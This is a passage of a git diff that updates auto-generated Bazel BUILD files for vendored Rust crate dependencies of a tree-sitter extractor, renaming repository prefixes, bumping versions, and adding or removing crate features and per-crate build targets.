+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "std",
+    ],
+    crate_name = "build_script_build",
+    crate_root = "build.rs",
+    data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    edition = "2021",
+    pkg_name = "getrandom",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=getrandom",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    version = "0.3.1",
+    visibility = ["//visibility:private"],
+)
+
+alias(
+    name = "build_script_build",
+    actual = ":_bs",
+    tags = ["manual"],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.globset-0.4.15.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.globset-0.4.15.bazel
index f0c754989697..c7341c6d1f1b 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.globset-0.4.15.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.globset-0.4.15.bazel
@@ -85,10 +85,10 @@ rust_library(
     }),
     version = "0.4.15",
     deps = [
-        "@vendor__aho-corasick-1.1.3//:aho_corasick",
-        "@vendor__bstr-1.11.3//:bstr",
-        "@vendor__log-0.4.22//:log",
-        "@vendor__regex-automata-0.4.9//:regex_automata",
-        "@vendor__regex-syntax-0.8.5//:regex_syntax",
+        "@vendor_ts__aho-corasick-1.1.3//:aho_corasick",
+        "@vendor_ts__bstr-1.11.3//:bstr",
+        "@vendor_ts__log-0.4.25//:log",
+        "@vendor_ts__regex-automata-0.4.9//:regex_automata",
+        "@vendor_ts__regex-syntax-0.8.5//:regex_syntax",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.14.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.14.5.bazel
index 51e970a88a25..4b6e47dfa32f 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.14.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.14.5.bazel
@@ -30,6 +30,7 @@ rust_library(
     ),
     crate_features = [
         "inline-more",
+        "raw",
     ],
     crate_root = "src/lib.rs",
     edition = "2021",
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.15.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.15.2.bazel
index da91d620d248..d7d08e46be64 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.15.2.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashbrown-0.15.2.bazel
@@ -28,6 +28,14 @@ rust_library(
             "WORKSPACE.bazel",
         ],
     ),
+    crate_features = [
+        "allocator-api2",
+        "default",
+        "default-hasher",
+        "equivalent",
+        "inline-more",
+        "raw-entry",
+    ],
     crate_root = "src/lib.rs",
     edition = "2021",
     rustc_flags = [
@@ -80,4 +88,9 @@ rust_library(
         "//conditions:default": ["@platforms//:incompatible"],
     }),
     version = "0.15.2",
+    deps = [
+        "@vendor_ts__allocator-api2-0.2.21//:allocator_api2",
+        "@vendor_ts__equivalent-1.0.1//:equivalent",
+        "@vendor_ts__foldhash-0.1.5//:foldhash",
+    ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashlink-0.10.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashlink-0.10.0.bazel
new file mode 100644
index 000000000000..291406fff11d
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.hashlink-0.10.0.bazel
@@ -0,0 +1,86 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "hashlink",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=hashlink",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.10.0",
+    deps = [
+        "@vendor_ts__hashbrown-0.15.2//:hashbrown",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.heck-0.4.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.heck-0.4.1.bazel
deleted file mode 100644
index b0bedc8f9c40..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.heck-0.4.1.bazel
+++ /dev/null
@@ -1,86 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "heck",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=heck",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.4.1",
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.home-0.5.11.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.home-0.5.11.bazel
index 5d955b693c3c..3908ba2dea47 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.home-0.5.11.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.home-0.5.11.bazel
@@ -82,13 +82,13 @@ rust_library(
     version = "0.5.11",
     deps = select({
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
+            "@vendor_ts__windows-sys-0.59.0//:windows_sys",  # cfg(windows)
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.iana-time-zone-0.1.61.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.iana-time-zone-0.1.61.bazel
index 006e1ef22bab..98fd2110ebbe 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.iana-time-zone-0.1.61.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.iana-time-zone-0.1.61.bazel
@@ -85,47 +85,47 @@ rust_library(
     version = "0.1.61",
     deps = select({
         "@rules_rust//rust/platform:aarch64-apple-darwin": [
-            "@vendor__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
+            "@vendor_ts__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
         ],
         "@rules_rust//rust/platform:aarch64-apple-ios": [
-            "@vendor__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
+            "@vendor_ts__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
         ],
         "@rules_rust//rust/platform:aarch64-apple-ios-sim": [
-            "@vendor__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
+            "@vendor_ts__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
         ],
         "@rules_rust//rust/platform:aarch64-linux-android": [
-            "@vendor__android_system_properties-0.1.5//:android_system_properties",  # cfg(target_os = "android")
+            "@vendor_ts__android_system_properties-0.1.5//:android_system_properties",  # cfg(target_os = "android")
         ],
         "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [
-            "@vendor__windows-core-0.52.0//:windows_core",  # cfg(target_os = "windows")
+            "@vendor_ts__windows-core-0.52.0//:windows_core",  # cfg(target_os = "windows")
         ],
         "@rules_rust//rust/platform:armv7-linux-androideabi": [
-            "@vendor__android_system_properties-0.1.5//:android_system_properties",  # cfg(target_os = "android")
+            "@vendor_ts__android_system_properties-0.1.5//:android_system_properties",  # cfg(target_os = "android")
         ],
         "@rules_rust//rust/platform:i686-apple-darwin": [
-            "@vendor__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
+            "@vendor_ts__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
         ],
         "@rules_rust//rust/platform:i686-linux-android": [
-            "@vendor__android_system_properties-0.1.5//:android_system_properties",  # cfg(target_os = "android")
+            "@vendor_ts__android_system_properties-0.1.5//:android_system_properties",  # cfg(target_os = "android")
         ],
         "@rules_rust//rust/platform:i686-pc-windows-msvc": [
-            "@vendor__windows-core-0.52.0//:windows_core",  # cfg(target_os = "windows")
+            "@vendor_ts__windows-core-0.52.0//:windows_core",  # cfg(target_os = "windows")
         ],
         "@rules_rust//rust/platform:wasm32-unknown-unknown": [
-            "@vendor__js-sys-0.3.76//:js_sys",  # cfg(all(target_arch = "wasm32", target_os = "unknown"))
-            "@vendor__wasm-bindgen-0.2.99//:wasm_bindgen",  # cfg(all(target_arch = "wasm32", target_os = "unknown"))
+            "@vendor_ts__js-sys-0.3.76//:js_sys",  # cfg(all(target_arch = "wasm32", target_os = "unknown"))
+            "@vendor_ts__wasm-bindgen-0.2.99//:wasm_bindgen",  # cfg(all(target_arch = "wasm32", target_os = "unknown"))
         ],
         "@rules_rust//rust/platform:x86_64-apple-darwin": [
-            "@vendor__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
+            "@vendor_ts__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
         ],
         "@rules_rust//rust/platform:x86_64-apple-ios": [
-            "@vendor__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
+            "@vendor_ts__core-foundation-sys-0.8.7//:core_foundation_sys",  # cfg(any(target_os = "macos", target_os = "ios"))
         ],
         "@rules_rust//rust/platform:x86_64-linux-android": [
-            "@vendor__android_system_properties-0.1.5//:android_system_properties",  # cfg(target_os = "android")
+            "@vendor_ts__android_system_properties-0.1.5//:android_system_properties",  # cfg(target_os = "android")
         ],
         "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [
-            "@vendor__windows-core-0.52.0//:windows_core",  # cfg(target_os = "windows")
+            "@vendor_ts__windows-core-0.52.0//:windows_core",  # cfg(target_os = "windows")
         ],
         "//conditions:default": [],
     }),
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.iana-time-zone-haiku-0.1.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.iana-time-zone-haiku-0.1.2.bazel
index 97beb36734fd..c07a773cbeaf 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.iana-time-zone-haiku-0.1.2.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.iana-time-zone-haiku-0.1.2.bazel
@@ -82,7 +82,7 @@ rust_library(
     }),
     version = "0.1.2",
     deps = [
-        "@vendor__iana-time-zone-haiku-0.1.2//:build_script_build",
+        "@vendor_ts__iana-time-zone-haiku-0.1.2//:build_script_build",
     ],
 )
 
@@ -134,7 +134,7 @@ cargo_build_script(
     version = "0.1.2",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__cc-1.2.7//:cc",
+        "@vendor_ts__cc-1.2.7//:cc",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-1.9.3.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-1.9.3.bazel
index 5947f8c959bf..f5728f60e0e1 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-1.9.3.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-1.9.3.bazel
@@ -82,8 +82,8 @@ rust_library(
     }),
     version = "1.9.3",
     deps = [
-        "@vendor__hashbrown-0.12.3//:hashbrown",
-        "@vendor__indexmap-1.9.3//:build_script_build",
+        "@vendor_ts__hashbrown-0.12.3//:hashbrown",
+        "@vendor_ts__indexmap-1.9.3//:build_script_build",
     ],
 )
 
@@ -135,7 +135,7 @@ cargo_build_script(
     version = "1.9.3",
     visibility = ["//visibility:private"],
     deps = [
-        "@vendor__autocfg-1.4.0//:autocfg",
+        "@vendor_ts__autocfg-1.4.0//:autocfg",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-2.7.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-2.7.0.bazel
index c4caf3ebfa46..53eacc89ea6f 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-2.7.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.indexmap-2.7.0.bazel
@@ -30,6 +30,7 @@ rust_library(
     ),
     crate_features = [
         "default",
+        "serde",
         "std",
     ],
     crate_root = "src/lib.rs",
@@ -85,7 +86,8 @@ rust_library(
     }),
     version = "2.7.0",
     deps = [
-        "@vendor__equivalent-1.0.1//:equivalent",
-        "@vendor__hashbrown-0.15.2//:hashbrown",
+        "@vendor_ts__equivalent-1.0.1//:equivalent",
+        "@vendor_ts__hashbrown-0.15.2//:hashbrown",
+        "@vendor_ts__serde-1.0.219//:serde",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.inotify-0.11.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.inotify-0.11.0.bazel
new file mode 100644
index 000000000000..8abc71e58117
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.inotify-0.11.0.bazel
@@ -0,0 +1,88 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "inotify",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=inotify",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.11.0",
+    deps = [
+        "@vendor_ts__bitflags-2.8.0//:bitflags",
+        "@vendor_ts__inotify-sys-0.1.5//:inotify_sys",
+        "@vendor_ts__libc-0.2.169//:libc",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.inotify-0.9.6.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.inotify-0.9.6.bazel
deleted file mode 100644
index 9b8089c8bb81..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.inotify-0.9.6.bazel
+++ /dev/null
@@ -1,88 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "inotify",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=inotify",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.9.6",
-    deps = [
-        "@vendor__bitflags-1.3.2//:bitflags",
-        "@vendor__inotify-sys-0.1.5//:inotify_sys",
-        "@vendor__libc-0.2.169//:libc",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.inotify-sys-0.1.5.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.inotify-sys-0.1.5.bazel
index c31f00f36823..3e23ee4dea6f 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.inotify-sys-0.1.5.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.inotify-sys-0.1.5.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "0.1.5",
     deps = [
-        "@vendor__libc-0.2.169//:libc",
+        "@vendor_ts__libc-0.2.169//:libc",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.12.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.12.1.bazel
index 6fd6eb800b46..b31c648e60a8 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.12.1.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.12.1.bazel
@@ -86,6 +86,6 @@ rust_library(
     }),
     version = "0.12.1",
     deps = [
-        "@vendor__either-1.13.0//:either",
+        "@vendor_ts__either-1.15.0//:either",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.14.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.14.0.bazel
index 6c9dac8660ef..5449caa6efb7 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.14.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.itertools-0.14.0.bazel
